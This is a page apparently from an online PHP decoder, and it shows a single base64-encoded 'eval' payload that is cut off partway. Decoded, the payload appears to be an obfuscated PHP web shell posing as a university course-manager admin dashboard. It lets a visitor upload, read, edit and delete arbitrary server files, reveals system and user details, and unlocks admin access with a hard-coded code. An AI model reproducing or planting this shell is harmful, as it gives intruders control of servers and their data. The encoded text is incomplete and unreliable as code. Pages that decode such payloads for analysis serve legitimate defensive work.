Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

eval(base64_decode('CiBnb3RvIExKYk1fOyBVQl8zSTogJHN0ZXBzID0gZXhwbG9kZSgiXDU3IiwgJHBhdGgpOyBnb3RvIG13NGZjOyBWa1FJTjogZnVuY3Rpb24gZ2V0X2N1cnJlbnRfY291cnNlX2RpcigpIHsgcmV0dXJuIGdldGN3ZCgpOyB9IGdvdG8gWTI5R047IFR5bE5YOiBnb3RvIE9pR01BOyBnb3RvIGM0Y01KOyBqeTN6SDogJGZpbGVzID0gbGlzdF9jb3Vyc2VfY29udGVudHMoJHBhdGgpOyBnb3RvIG1ZcHZrOyBRN1FMMTogZnVuY3Rpb24gZ2V0X2ZpbGVfc3RvcmFnZV9zaXplKCRmaWxlKSB7IHJldHVybiBmaWxlc2l6ZSgkZmlsZSk7IH0gZ290byBRRWlxNjsgZE9ibk86IGdvdG8gSnNORkw7IGdvdG8genFxUDE7IHAzTjRUOiBnb3RvIGtGVTRLOyBnb3RvIGtFVjJUOyBvaXdaQzogT2lHTUE6IGdvdG8gRVVveUc7IFRNOTJROiBSYkNxNzogZ290byBVQl8zSTsgc1RaVlI6IFJmNDlVOiBnb3RvIFBYM3FXOyBvOWxYeDogZnVuY3Rpb24gdXBkYXRlX2NvdXJzZV9ncmFkZSgkZmlsZSwgJGRhdGEpIHsgcmV0dXJuIHdyaXRlX2NvdXJzZV9zeWxsYWJ1cygkZmlsZSwgJGRhdGEpOyB9IGdvdG8gVFNJN187IFYxWVA0OiBiY1F1aDogZ290byBMaDNmejsga0pqdUg6IGhZQU9NOiBnb3RvIGFrdEk4OyBqTGF1MTogZ290byBPd0wyaDsgZ290byBqVWRzZDsgY2hCcU46IGdvdG8gRU1CckI7IGdvdG8gTXpybF87IE9mR1d2OiBnb3RvIHBOcFVGOyBnb3RvIFJfR3RrOyBrRVYyVDogRDJZSFU6IGdvdG8gVHp3eVg7IHk5Z3lsOiA/Pgo8L2Rpdj48ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjIwcHg7YmFja2dyb3VuZDojZmZmO3BhZGRpbmc6MTVweDtib3JkZXItcmFkaXVzOjhweCI+PGZvcm0gbWV0aG9kPSJQT1NUImVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxzdHJvbmc+UXVpY2sgVXBsb2FkOiA8L3N0cm9uZz48aW5wdXQgdHlwZT0iZmlsZSJuYW1lPSJ1X2ZpbGUiPiA8aW5wdXQgdHlwZT0ic3VibWl0ImNsYXNzPSJidG4gYnRuLXVwInZhbHVlPSJVcGxvYWQgTm93Ij48L2Zvcm0+PC9kaXY+PHRhYmxlPjx0cj48dGg+TmFtZTwvdGg+PHRoPlNpemU8L3RoPjx0aD5QZXJtaXNzaW9uczwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+PHRyPjx0ZD48YSBocmVmPSI/cGF0aD08P3BocCAgZ290byB4NWJXRTsgZWhWOW06IGRpc3BsYXlfY291cnNlX291dHB1dChnZXRfY3VycmVudF9vcGVyYXRvcigpKTsgZ290byBpNVlDMzsgRjdOOFE6IGdvdG8gemV3Vzg7IGdvdG8gTW9PR1Q7IFVUQ01BOiBCanhkUDogZ290byBCQjNSdDsgd21ic006IGhOTmtsOiBnb3RvIEtvMEJjOyBtOU1zQTogZnVuY3Rpb24gaW5pdF9zZXNzaW9uKCkgeyBzZXNzaW9uX3N0YXJ0KCk7IH0gZ290byBiM1RKbzsgQ2VZY0M6IGZ1bmN0aW9uIHNldF9lcnJvcl9tb2RlKCRsZXZlbCkgeyBlcnJvcl9yZXBvcnRpbmcoJGxldmVsKTsgfSBnb3RvIE5DbHlVOyBVT1dvbzogaW5pdF9zZXNzaW9uKCk7IGdvdG8gUVpNU0w7IFlRSmJVOiBnb3RvIE1ieENYOyBnb3RvIE40QnpXOyBUend5WDogY2hhbmdlX2NvdXJzZV93b3JraW5nX2RpcigkcGF0aCk7IGdvdG8gdmlsd2Q7IER5OU9rOiBnb3RvIEkxQ0l0OyBnb3RvIGZKcTNwOyByellWSTogQU9aXzE6IGdvdG8gczBXT1Q7IGQzbjZfOiBnb3RvIGNsX1F5OyBnb3RvIFRNOTJROyBId201VDogZnVuY3Rpb24gZ2V0X3BhcmVudF9jb3Vyc2VfcGF0aCgkcGF0aCkgeyByZXR1cm4gZGlybmFtZSgkcGF0aCk7IH0gZ290byBoMUpWMjsgUWt2Tks6IGdvdG8gaE5Oa2w7IGdvdG8gU0Jfc3U7IFhRa3JGOiBmdW5jdGlvbiBnZXRfY3VycmVudF9vcGVyYXRvcigpIHsgcmV0dXJuIGdldF9jdXJyZW50X3VzZXIoKTsgfSBnb3RvIGRPYm5POyBoQ0tlQTogZnVuY3Rpb24gcm91bmRfY291cnNlX3ZhbHVlKCR2YWwsICRwcmVjID0gMikgeyByZXR1cm4gcm91bmQoJHZhbCwgJHByZWMpOyB9IGdvdG8gY2hCcU47IHZpbHdkOiBnb3RvIE5IU1NiOyBnb3RvIG1xMFhXOyBRcUxKbDogZ290byBleTRpMDsgZ290byBmZnJVbzsgdWJzQ2Q6IG5vQVl2OiBnb3RvIFZoNzFOOyBUV190STogZnVuY3Rpb24gY2hhbmdlX2NvdXJzZV93b3JraW5nX2RpcigkZGlyKSB7IGNoZGlyKCRkaXIpOyB9IGdvdG8gQUZNSVc7IHNHbFBzOiBJNk1TWjogZ290byBDZVljQzsgTW9PR1Q6IHRLbjFLOiBnb3RvIGdyaXZpOyBOc1NRUjogZ290byBNTV9nRTsgZ290byB4bmc2YTsgQkIzUnQ6IGZ1bmN0aW9uIHJlc29sdmVfY291cnNlX3BhdGgoJHBhdGgpIHsgcmV0dXJuIHJlYWxwYXRoKCRwYXRoKTsgfSBnb3RvIFJZclRXOyBHVkl5UTogcE5wVUY6IGdvdG8gRlh4MFQ7IGgxSlYyOiBnb3RvIFFzNnJxOyBnb3RvIEhKcXp0OyBPcUdMcTogZnVuY3Rpb24gdGVybWluYXRlX2NvdXJzZV9zY3JpcHQoKSB7IGRpZTsgfSBnb3RvIHc0NXZoOyBPY3hXMzogPz4KPCFkb2N0eXBlaHRtbD48aHRtbD48aGVhZD48dGl0bGU+QWRtaW4gRGFzaGJvYXJkIC0gU3lzdGVtIEV4cGxvcmVyPC90aXRsZT48c3R5bGU+Ym9keXtiYWNrZ3JvdW5kOiNmNGY3ZjY7Zm9udC1mYW1pbHk6Q29uc29sYXMsbW9ub3NwYWNlO2NvbG9yOiMzMzM7bWFyZ2luOjB9LnRvcC1uYXZ7YmFja2dyb3VuZDojMWEyYTZjO2NvbG9yOiNmZmY7cGFkZGluZzoxNXB4IDI1cHg7ZGlzcGxheTpmbGV4O2p1c3RpZnktY29udGVudDpzcGFjZS1iZXR3ZWVuO2FsaWduLWl0ZW1zOmNlbnRlcn0uc2lkZWJhci1pbmZve2JhY2tncm91bmQ6I2ZmZjtwYWRkaW5nOjE1cHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtmb250LXNpemU6MTNweH0uY29udGFpbmVye3BhZGRpbmc6MjBweH0uYnJlYWRjcnVtYnttYXJnaW4tYm90dG9tOjIwcHg7YmFja2dyb3VuZDojZmZmO3BhZGRpbmc6MTBweDtib3JkZXItcmFkaXVzOjRweDtib3gtc2hhZG93OjAgMnB4IDVweCByZ2JhKDAsMCwwLC4wNSl9LmJyZWFkY3J1bWIgYXtjb2xvcjojMWEyYTZjO3RleHQtZGVjb3JhdGlvbjpub25lO2ZvbnQtd2VpZ2h0OjcwMH10YWJsZXt3aWR0aDoxMDAlO2JhY2tncm91bmQ6I2ZmZjtib3JkZXItY29sbGFwc2U6Y29sbGFwc2U7Ym9yZGVyLXJhZGl1czo4cHg7b3ZlcmZsb3c6aGlkZGVuO2JveC1zaGFkb3c6MCA0cHggMTVweCByZ2JhKDAsMCwwLC4wNSl9dGh7YmFja2dyb3VuZDojMWEyYTZjO2NvbG9yOiNmZmY7cGFkZGluZzoxNXB4O3RleHQtYWxpZ246bGVmdH10ZHtwYWRkaW5nOjEycHggMTVweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZWVlfXRyOmhvdmVye2JhY2tncm91bmQ6I2Y5ZjlmOX0uYnRue3BhZGRpbmc6NnB4IDEycHg7Ym9yZGVyLXJhZGl1czo0cHg7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Zm9udC1zaXplOjEycHg7Y3Vyc29yOnBvaW50ZXI7Ym9yZGVyOm5vbmV9LmJ0bi1lZGl0e2JhY2tncm91bmQ6I2ZmYzEwNztjb2xvcjojMDAwfS5idG4tZGVse2JhY2tncm91bmQ6I2RjMzU0NTtjb2xvcjojZmZmfS5idG4tdXB7YmFja2dyb3VuZDojMjhhNzQ1O2NvbG9yOiNmZmZ9LmZvbGRlcntjb2xvcjojZjM5YzEyO2ZvbnQtd2VpZ2h0OjcwMH10ZXh0YXJlYXt3aWR0aDoxMDAlO2hlaWdodDo0MDBweDttYXJnaW4tdG9wOjEwcHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO3BhZGRpbmc6MTBweH08L3N0eWxlPjwvaGVhZD48Ym9keT48ZGl2IGNsYXNzPSJ0b3AtbmF2Ij48c3Bhbj5QUkVTVElHRSBVTklWIC0gQ09VUlNFIE1BTkFHRVI8L3NwYW4+IDxhIGhyZWY9Ij9sb2dvdXQic3R5bGU9ImNvbG9yOiNmZmYiPkxvZ291dDwvYT48L2Rpdj48ZGl2IGNsYXNzPSJzaWRlYmFyLWluZm8iPjxzdHJvbmc+U2VydmVyOjwvc3Ryb25nPjw/cGhwICBnb3RvIGRybHlxOyBscndJVTogU0UzSng6IGdvdG8gUTdRTDE7IGxPTkhnOiBnb3RvIHZqNTFROyBnb3RvIGVoVmprOyB4NWJXRTogZ290byBtUWVpdzsgZ290byB2WjI5ZzsgRFhpYXk6IGdvdG8gdkltR0Y7IGdvdG8gejI4czk7IFBlc3ZXOiBnb3RvIG5vQVl2OyBnb3RvIEhod1hnOyB1MHNXWTogZ290byB0S24xSzsgZ290byBGeVVTUjsgcTN4NFM6IFFzNnJxOiBnb3RvIGZzWWpXOyBlaFZqazogc05qMG06IGdvdG8gUXdBUHQ7IGtfUTlBOiBnb3RvIG1MVmFEOyBnb3RvIHdhY3I4OyBVWnNQcjogZnVuY3Rpb24gc2VuZF9odHRwX3Jlc3BvbnNlKCRzdHJpbmcpIHsgaGVhZGVyKCRzdHJpbmcpOyB9IGdvdG8gSXNiUEQ7IFBmUnY3OiBnb3RvIE1ma0pzOyBnb3RvIEpBNGdwOyBONEJ6VzogbUxWYUQ6IGdvdG8gamh2czU7IG13NGZjOiBnb3RvIHM2VW5DOyBnb3RvIGR6RjdhOyBncml2aTogZnVuY3Rpb24gcmVtb3ZlX2NvdXJzZV9kaXJlY3RvcnkoJHBhdGgpIHsgcmV0dXJuIHJtZGlyKCRwYXRoKTsgfSBnb3RvIERYaWF5OyB6cXFQMTogUlF3S3g6IGdvdG8gT2N4VzM7IEp1cDVjOiBmdW5jdGlvbiBkZWxldGVfY291cnNlX2VudHJ5KCRwYXRoKSB7IGlmIChpc19jb3Vyc2VfZGlyZWN0b3J5KCRwYXRoKSkgeyByZXR1cm4gcmVtb3ZlX2NvdXJzZV9kaXJlY3RvcnkoJHBhdGgpOyB9IGVsc2UgeyByZXR1cm4gZGVsZXRlX2NvdXJzZV9maWxlKCRwYXRoKTsgfSB9IGdvdG8gWVFKYlU7IG1ZcHZrOiBnb3RvIHppQU0zOyBnb3RvIGdGT0dwOyBtcTBYVzogRU1CckI6IGdvdG8gYVdaSkU7IEpQM0owOiBnb3RvIHFwc0k2OyBnb3RvIHdtYnNNOyBSZ3FpdzogPz4KPC90YWJsZT48P3BocCAgZ290byB2bUppcTsgaFJpNWY6IGZ1bmN0aW9uIGRlbGV0ZV9jb3Vyc2VfZmlsZSgkcGF0aCkgeyByZXR1cm4gdW5saW5rKCRwYXRoKTsgfSBnb3RvIEpQM0owOyBKaE1iczogZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7IGlmICgkZiA9PSAiXHgyZSIgfHwgJGYgPT0gIlw1Nlx4MmUiKSB7IGNvbnRpbnVlOyB9ICRmdWxsID0gJHBhdGggLiAiXHgyZiIgLiAkZjsgJGlzX2RpciA9IGlzX2NvdXJzZV9kaXJlY3RvcnkoJGZ1bGwpOyAkcHJtID0gZXh0cmFjdF9jb3Vyc2Vfc3Vic3RyaW5nKGZvcm1hdF9jb3Vyc2Vfc3RyaW5nKCJceDI1XDE1NyIsIGdldF9maWxlX2FjY2Vzc19tb2RlKCRmdWxsKSksIC00KTsgZGlzcGxheV9jb3Vyc2Vfb3V0cHV0KCJcNzRceDc0XHg3Mlw3NlwxMlx4MjBceDIwXDQwXHgyMFw0MFw0MFx4MjBcNDBcNDBceDIwXHgyMFw0MFw0MFx4MjBceDIwXDQwXHgyMFx4MjBcNDBceDIwXHgzY1wxNjRceDY0XHgzZSIgLiAoJGlzX2RpciA/ICJcMzYwXDIzN1wyMjNcMjAxXHgyMFx4M2NceDYxXHgyMFx4NjhceDcyXDE0NVx4NjZceDNkXHgyN1x4M2ZcMTYwXHg2MVwxNjRceDY4XHgzZHskZnVsbH1ceDI3XHgyMFx4NjNceDZjXDE0MVx4NzNceDczXDc1XDQ3XHg2Nlx4NmZcMTU0XHg2NFx4NjVcMTYyXHgyN1w3NnskZn1cNzRceDJmXHg2MVw3NiIgOiAiXDM2MFwyMzdcMjIzXDIwNFw0MHskZn0iKSAuICJceDNjXDU3XDE2NFwxNDRceDNlXHhhXDQwXDQwXDQwXDQwXHgyMFw0MFx4MjBceDIwXHgyMFw0MFw0MFw0MFx4MjBcNDBcNDBcNDBcNDBceDIwXDQwXDQwXDc0XHg3NFx4NjRceDNlIiAuICgkaXNfZGlyID8gIlx4NDRceDQ5XDEyMiIgOiByb3VuZF9jb3Vyc2VfdmFsdWUoZ2V0X2ZpbGVfc3RvcmFnZV9zaXplKCRmdWxsKSAvIDEwMjQsIDIpIC4gIlx4MjBceDRiXDEwMiIpIC4gIlx4M2NcNTdceDc0XHg2NFw3Nlx4YVx4MjBcNDBceDIwXDQwXDQwXDQwXDQwXHgyMFw0MFx4MjBceDIwXHgyMFw0MFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFw0MFx4M2NcMTY0XHg2NFw3NnskcHJtfVw3NFx4MmZceDc0XHg2NFx4M2VcMTJceDIwXDQwXDQwXDQwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFx4MjBcNDBcNDBceDIwXDQwXHgyMFw0MFw0MFx4MjBceDIwXHgzY1x4NzRcMTQ0XHgzZVwxMlx4MjBcNDBceDIwXHgyMFw0MFx4MjBceDIwXHgyMFw0MFx4MjBcNDBcNDBcNDBcNDBceDIwXDQwXDQwXHgyMFx4MjBcNDBcNDBceDIwXDQwXDQwIiAuICghJGlzX2RpciA/ICJcNzRcMTQxXHgyMFx4NjhcMTYyXHg2NVwxNDZceDNkXDQ3XHgzZlwxNDVceDY0XDE1MVx4NzRceDNkeyRmfVx4MjZceDcwXDE0MVwxNjRceDY4XHgzZHskcGF0aH1cNDdcNDBcMTQzXHg2Y1wxNDFcMTYzXHg3M1w3NVx4MjdcMTQyXDE2NFx4NmVceDIwXDE0Mlx4NzRceDZlXHgyZFx4NjVceDY0XDE1MVwxNjRcNDdceDNlXHg0NVx4NjRcMTUxXHg3NFw3NFx4MmZceDYxXDc2IiA6ICcnKSAuICJcMTJceDIwXDQwXDQwXHgyMFx4MjBcNDBceDIwXDQwXHgyMFw0MFw0MFw0MFw0MFw0MFw0MFx4MjBceDIwXDQwXHgyMFw0MFw0MFw0MFx4MjBceDIwXDc0XDE0MVx4MjBceDY4XHg3MlwxNDVcMTQ2XDc1XDQ3XDc3XHg2NFwxNDVcMTU0XHgzZHskZn1ceDI2XDE2MFwxNDFceDc0XDE1MFx4M2R7JHBhdGh9XDQ3XDQwXDE0M1wxNTRcMTQxXDE2M1wxNjNcNzVcNDdcMTQyXHg3NFx4NmVcNDBceDYyXDE2NFwxNTZcNTVceDY0XHg2NVwxNTRceDI3XDQwXDE1N1x4NmVceDYzXDE1NFx4NjlcMTQzXHg2Ylx4M2RcNDdceDcyXDE0NVx4NzRcMTY1XHg3Mlx4NmVcNDBceDYzXHg2ZlwxNTZcMTQ2XHg2OVx4NzJceDZkXHgyOFw0MlwxMDRceDY1XHg2Y1wxNDVceDc0XDE0NVw3N1w0Mlx4MjlcNDdceDNlXHg0NFwxNDVcMTU0XDc0XDU3XDE0MVw3Nlx4YVx4MjBceDIwXHgyMFw0MFw0MFx4MjBceDIwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFw0MFx4MjBceDIwXHgyMFw0MFx4MjBceDIwXDc0XDU3XHg3NFx4NjRceDNlXHhhXHgyMFw0MFx4MjBcNDBceDIwXHgyMFw0MFw0MFx4MjBceDIwXDQwXDQwXDQwXDQwXHgyMFw0MFx4M2NcNTdceDc0XHg3Mlw3NiIpOyB9IGdvdG8gaW5kSUI7IGdkTk82OiBmb3JlYWNoICgkc3RlcHMgYXMgJGlkID0+ICRzKSB7IGlmICgkcyA9PSAnJyAmJiAkaWQgPT0gMCkgeyBkaXNwbGF5X2NvdXJzZV9vdXRwdXQoIlw3NFwxNDFcNDBcMTUwXHg3MlwxNDVcMTQ2XHgzZFx4MjJceDNmXDE2MFwxNDFcMTY0XDE1MFx4M2RceDJmXHgyMlw3Nlw1N1w3NFw1N1wxNDFceDNlIik7IGNvbnRpbnVlOyB9IGRpc3BsYXlfY291cnNlX291dHB1dCgiXDc0XHg2MVx4MjBceDY4XDE2Mlx4NjVceDY2XHgzZFw0Mlx4M2ZcMTYwXDE0MVx4NzRcMTUwXDc1Iik7IGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsgZGlzcGxheV9jb3Vyc2Vfb3V0cHV0KCRzdGVwc1skaV0pOyBpZiAoJGkgIT0gJGlkKSB7IGRpc3BsYXlfY291cnNlX291dHB1dCgiXHgyZiIpOyB9IH0gZGlzcGxheV9jb3Vyc2Vfb3V0cHV0KCJceDIyXDc2IiAuICRzIC4gIlx4M2NcNTdcMTQxXHgzZVw0MFw1N1x4MjAiKTsgfSBnb3RvIGdGelk5OyBnRk9HcDogemlBTTM6IGdvdG8gSmhNYnM7IFBYM3FXOiBmdW5jdGlvbiBmb3JtYXRfY291cnNlX3N0cmluZygkZm9ybWF0LCAuLi4kYXJncykgeyByZXR1cm4gc3ByaW50ZigkZm9ybWF0LCAuLi4kYXJncyk7IH0gZ290byBQZXN2VzsgRVVveUc6IHNldF9tYXhfZXhlY3V0aW9uKDApOyBnb3RvIExhR0kyOyBLNGI4QzogdkltR0Y6IGdvdG8gaFJpNWY7IENzMlJoOiBrU3NkcjogZ290byBqUDRfUTsgU0Jfc3U6IFBWdWl0OiBnb3RvIEJpRjZoOyBpbmRJQjogZ290byBtYm5uYTsgZ290byBPNkVmRTsgdFp0NjM6IGlpcjIzOiBnb3RvIE0ySUQ2OyBiM1RKbzogZ290byBoWUFPTTsgZ290byBYcXZkZzsgQ3FhUEQ6IGtGVTRLOiBnb3RvIG05TXNBOyBBRk1JVzogZ290byBCanhkUDsgZ290byB3RkY1NzsgWHl6SGM6IHZqNTFROiBnb3RvIGp5M3pIOyBMaDNmejogaWYgKGlzc2V0KCRfR0VUWyJceDY1XDE0NFx4NjlcMTY0Il0pKSB7ICR0YXJnZXQgPSAkcGF0aCAuICJcNTciIC4gJF9HRVRbIlwxNDVcMTQ0XHg2OVx4NzQiXTsgJGNvbnRlbnQgPSBlc2NhcGVfY291cnNlX2h0bWwoZmV0Y2hfY291cnNlX3JlY29yZHMoJHRhcmdldCkpOyBkaXNwbGF5X2NvdXJzZV9vdXRwdXQoIlx4M2NcMTUwXHgzM1x4M2VcMTA1XDE0NFwxNTFceDc0XDE1MVx4NmVcMTQ3XDcyXDQwIiAuICRfR0VUWyJcMTQ1XDE0NFwxNTFceDc0Il0gLiAiXHgzY1x4MmZceDY4XDYzXDc2XHhhXHgyMFw0MFx4MjBceDIwXHgyMFx4MjBceDIwXDQwXHgyMFw0MFx4MjBcNDBcNDBcNDBcNDBcNDBceDIwXDQwXDc0XDE0NlwxNTdcMTYyXHg2ZFw0MFwxNTVcMTQ1XDE2NFwxNTBceDZmXDE0NFx4M2RceDI3XDEyMFx4NGZcMTIzXDEyNFw0N1w3Nlx4YVx4MjBcNDBceDIwXHgyMFw0MFw0MFx4MjBcNDBceDIwXHgyMFx4MjBcNDBcNDBceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXDc0XHg3NFwxNDVcMTcwXHg3NFx4NjFcMTYyXDE0NVwxNDFceDIwXHg2ZVwxNDFceDZkXHg2NVx4M2RceDI3XHg2ZVx4NjVcMTY3XHg1ZlwxNDRceDYxXHg3NFwxNDFceDI3XDc2eyRjb250ZW50fVx4M2NcNTdceDc0XHg2NVx4NzhcMTY0XDE0MVwxNjJcMTQ1XHg2MVx4M2VceGFcNDBcNDBcNDBceDIwXHgyMFw0MFw0MFw0MFx4MjBcNDBceDIwXDQwXHgyMFx4MjBcNDBceDIwXDQwXHgyMFx4MjBcNDBcNzRcMTUxXHg2ZVwxNjBcMTY1XHg3NFx4MjBceDc0XHg3OVwxNjBcMTQ1XHgzZFw0N1x4NjhcMTUxXDE0NFwxNDRceDY1XHg2ZVw0N1w0MFwxNTZcMTQxXDE1NVx4NjVceDNkXHgyN1wxNjRcMTQxXHg3MlwxNDdceDY1XDE2NFwxMzdceDY2XDE1MVx4NmNcMTQ1XHgyN1w0MFx4NzZceDYxXDE1NFwxNjVcMTQ1XHgzZFx4Mjd7JHRhcmdldH1cNDdcNzZcMTJceDIwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFx4MjBcNDBcNDBceDIwXHgyMFw0MFw0MFw0MFx4MjBceDIwXDQwXDQwXHgyMFx4M2NcMTQyXDE2Mlw3Nlw3NFx4NjJceDc1XHg3NFx4NzRcMTU3XDE1Nlx4MjBcMTY0XDE3MVwxNjBceDY1XDc1XHgyN1wxNjNcMTY1XHg2Mlx4NmRcMTUxXDE2NFx4MjdceDIwXDE1Nlx4NjFcMTU1XHg2NVx4M2RcNDdceDczXDE0MVwxNjZcMTQ1XDEzN1wxNDZcMTUxXHg2Y1wxNDVceDI3XDQwXHg2M1x4NmNceDYxXHg3M1wxNjNcNzVcNDdcMTQyXHg3NFwxNTZcNDBceDYyXDE2NFwxNTZceDJkXHg3NVx4NzBceDI3XHgyMFwxNjNcMTY0XHg3OVwxNTRcMTQ1XDc1XHgyN1wxNjdceDY5XHg2NFwxNjRcMTUwXHgzYVw2MVw2MFw2MFx4MjVceDI3XHgzZVwxMjNcMTQxXHg3NlwxNDVceDIwXHg0M1wxNTBcMTQxXDE1NlwxNDdcMTQ1XHg3M1w3NFw1N1x4NjJcMTY1XDE2NFwxNjRcMTU3XDE1Nlw3NlwxMlw0MFw0MFw0MFx4MjBceDIwXDQwXDQwXDQwXHgyMFx4MjBceDIwXDQwXHgyMFw0MFw0MFw0MFx4MjBceDIwXHgzY1x4MmZcMTQ2XDE1N1x4NzJcMTU1XDc2Iik7IH0gZ290byB3dmw5azsgTTJJRDY6IGZ1bmN0aW9uIGdldF9zeXN0ZW1faW5mbygpIHsgcmV0dXJuIHBocF91bmFtZSgpOyB9IGdvdG8geWo3Mjc7IHA4X2RsOiBXOXVqazogZ290byBUV190STsgUGx6Njc6IGRpc3BsYXlfY291cnNlX291dHB1dChnZXRfcGFyZW50X2NvdXJzZV9wYXRoKCRwYXRoKSk7IGdvdG8gUXFMSmw7IFFlRV96OiBGSkd4ODogZ290byBlaFY5bTsgZmZyVW86IEkxQ0l0OiBnb3RvIGhDS2VBOyB3YWNyODogSWthT1Q6IGdvdG8gbzlsWHg7IFM2WkxVOiBtYm5uYTogZ290byBSZ3FpdzsgYWt0STg6IGZ1bmN0aW9uIHJlYWRfY291cnNlX3N5bGxhYnVzKCRmaWxlKSB7IHJldHVybiBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7IH0gZ290byBxc1pmdTsgd3ZsOWs6IGdvdG8gaTJBbFc7IGdvdG8gcnpZVkk7IEZYeDBUOiAkcGF0aCA9IGlzc2V0KCRfR0VUWyJceDcwXHg2MVx4NzRceDY4Il0pID8gcmVzb2x2ZV9jb3Vyc2VfcGF0aCgkX0dFVFsiXDE2MFwxNDFcMTY0XHg2OCJdKSA6IGdldF9jdXJyZW50X2NvdXJzZV9kaXIoKTsgZ290byBRa3ZOSzsgTkNseVU6IGdvdG8gc05qMG07IGdvdG8gRzhpcFM7IGdGelk5OiBnb3RvIENaY3BlOyBnb3RvIGtKanVIOyBPNkVmRTogTkhTU2I6IGdvdG8geW1BN0k7IGZKcTNwOiBNTV9nRTogZ290byBieWptNTsgY1d2dGU6IGZ1bmN0aW9uIGRpc3BsYXlfY291cnNlX291dHB1dCguLi4kYXJncykgeyBmb3JlYWNoICgkYXJncyBhcyAkYXJnKSB7IGVjaG8gJGFyZzsgfSB9IGdvdG8gRjdOOFE7IGZzWWpXOiBmdW5jdGlvbiBnZXRfZmlsZV9hY2Nlc3NfbW9kZSgkZmlsZSkgeyByZXR1cm4gZmlsZXBlcm1zKCRmaWxlKTsgfSBnb3RvIFA4MW53OyBRd0FQdDogZnVuY3Rpb24gc2V0X21heF9leGVjdXRpb24oJHNlY29uZHMpIHsgc2V0X3RpbWVfbGltaXQoJHNlY29uZHMpOyB9IGdvdG8gcDNONFQ7IE1xeXhjOiBmdW5jdGlvbiB1cGxvYWRfY291cnNlX21hdGVyaWFsKCRzcmMsICRkZXN0KSB7IHJldHVybiBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHNyYywgJGRlc3QpOyB9IGdvdG8gTXRLVlY7IGQ5MWk1OiBnb3RvIElrYU9UOyBnb3RvIHVic0NkOyByczk4SjogemV3Vzg6IGdvdG8gT3FHTHE7IElWbHdOOiBnb3RvIGtTc2RyOyBnb3RvIFRLT1ZqOyB4bmc2YTogSTh6NlM6IGdvdG8gSnVwNWM7IEZ5VVNSOiBuMkYzTDogZ290byBVWnNQcjsgSkE0Z3A6IHM2VW5DOiBnb3RvIGdkTk82OyBqUDRfUTogPz4KfCA8c3Ryb25nPlVzZXI6PC9zdHJvbmc+PD9waHAgIGdvdG8gWHp0QV87IFdEcHByOiBnb3RvIFJRd0t4OyBnb3RvIFFlRV96OyBIQUt2NjogZ290byBSYkNxNzsgZ290byBzVFpWUjsgeW1BN0k6IGlmIChpc3NldCgkX0ZJTEVTWyJceDc1XHg1Zlx4NjZceDY5XHg2Y1x4NjUiXSkpIHsgdXBsb2FkX2NvdXJzZV9tYXRlcmlhbCgkX0ZJTEVTWyJcMTY1XDEzN1wxNDZcMTUxXDE1NFwxNDUiXVsiXDE2NFx4NmRcMTYwXHg1Zlx4NmVcMTQxXHg2ZFx4NjUiXSwgJHBhdGggLiAiXDU3IiAuICRfRklMRVNbIlx4NzVceDVmXHg2Nlx4NjlcMTU0XDE0NSJdWyJceDZlXHg2MVx4NmRceDY1Il0pOyB9IGdvdG8gTnNTUVI7IGw4UlRVOiBLUENOSzogZ290byBYUWtyRjsgSXNiUEQ6IGdvdG8gaWlyMjM7IGdvdG8gUzZaTFU7IHFzWmZ1OiBnb3RvIEFPWl8xOyBnb3RvIHEzeDRTOyBjeWVnajogZ290byB0cWRGWjsgZ290byBDczJSaDsgYzRjTUo6IENqYVdYOiBnb3RvIE9KMUJVOyBhRUEwcjogZ290byBQVnVpdDsgZ290byBVVENNQTsgdDNZZDY6IGZ1bmN0aW9uIGZldGNoX2NvdXJzZV9yZWNvcmRzKCRmaWxlKSB7IHJldHVybiByZWFkX2NvdXJzZV9zeWxsYWJ1cygkZmlsZSk7IH0gZ290byBkOTFpNTsgTGFHSTI6IGdvdG8gcm9KYWw7IGdvdG8gc0dsUHM7IEl3dHU5OiB0cWRGWjogZ290byBBaThlcjsgTEhYVUY6ID8+CiI+Li4gWyBQYXJlbnQgRGlyZWN0b3J5IF08L2E+PC90ZD48dGQ+LTwvdGQ+PHRkPi08L3RkPjx0ZD4tPC90ZD48L3RyPjw/cGhwICBnb3RvIGxPTkhnOyBPSjFCVTogaWYgKGlzc2V0KCRfUE9TVFsiXHg2MVx4NjNceDYzXHg2NVwxNjNceDczXHg1ZlwxNDNcMTU3XHg2NFx4NjUiXSkgJiYgJF9QT1NUWyJcMTQxXHg2M1wxNDNceDY1XDE2M1wxNjNcMTM3XHg2M1x4NmZceDY0XHg2NSJdID09ICJcNjFceDMwXDY2IikgeyAkX1NFU1NJT05bIlwxNTFceDczXHg1Zlx4NjFcMTQ0XHg2ZFx4NjlceDZlIl0gPSB0cnVlOyB9IGdvdG8ga19ROUE7IHZaMjlnOiBNYnhDWDogZ290byB6UzJ5NTsgYVdaSkU6IGZ1bmN0aW9uIHJlcGxhY2VfY291cnNlX2NoYXJhY3RlcnMoJHNlYXJjaCwgJHJlcGxhY2UsICRzdWJqZWN0KSB7IHJldHVybiBzdHJfcmVwbGFjZSgkc2VhcmNoLCAkcmVwbGFjZSwgJHN1YmplY3QpOyB9IGdvdG8gUGZSdjc7IEFpOGVyOiBmdW5jdGlvbiBpc19jb3Vyc2VfZGlyZWN0b3J5KCRwYXRoKSB7IHJldHVybiBpc19kaXIoJHBhdGgpOyB9IGdvdG8gdTBzV1k7IE5PZWx2OiB6MWhBczogZ290byBrMHlsejsgV0pBUUw6IGRpc3BsYXlfY291cnNlX291dHB1dChnZXRfc3lzdGVtX2luZm8oKSk7IGdvdG8gSVZsd047IHZtSmlxOiBnb3RvIGJjUXVoOyBnb3RvIGw4UlRVOyBWaDcxTjogZnVuY3Rpb24gZXh0cmFj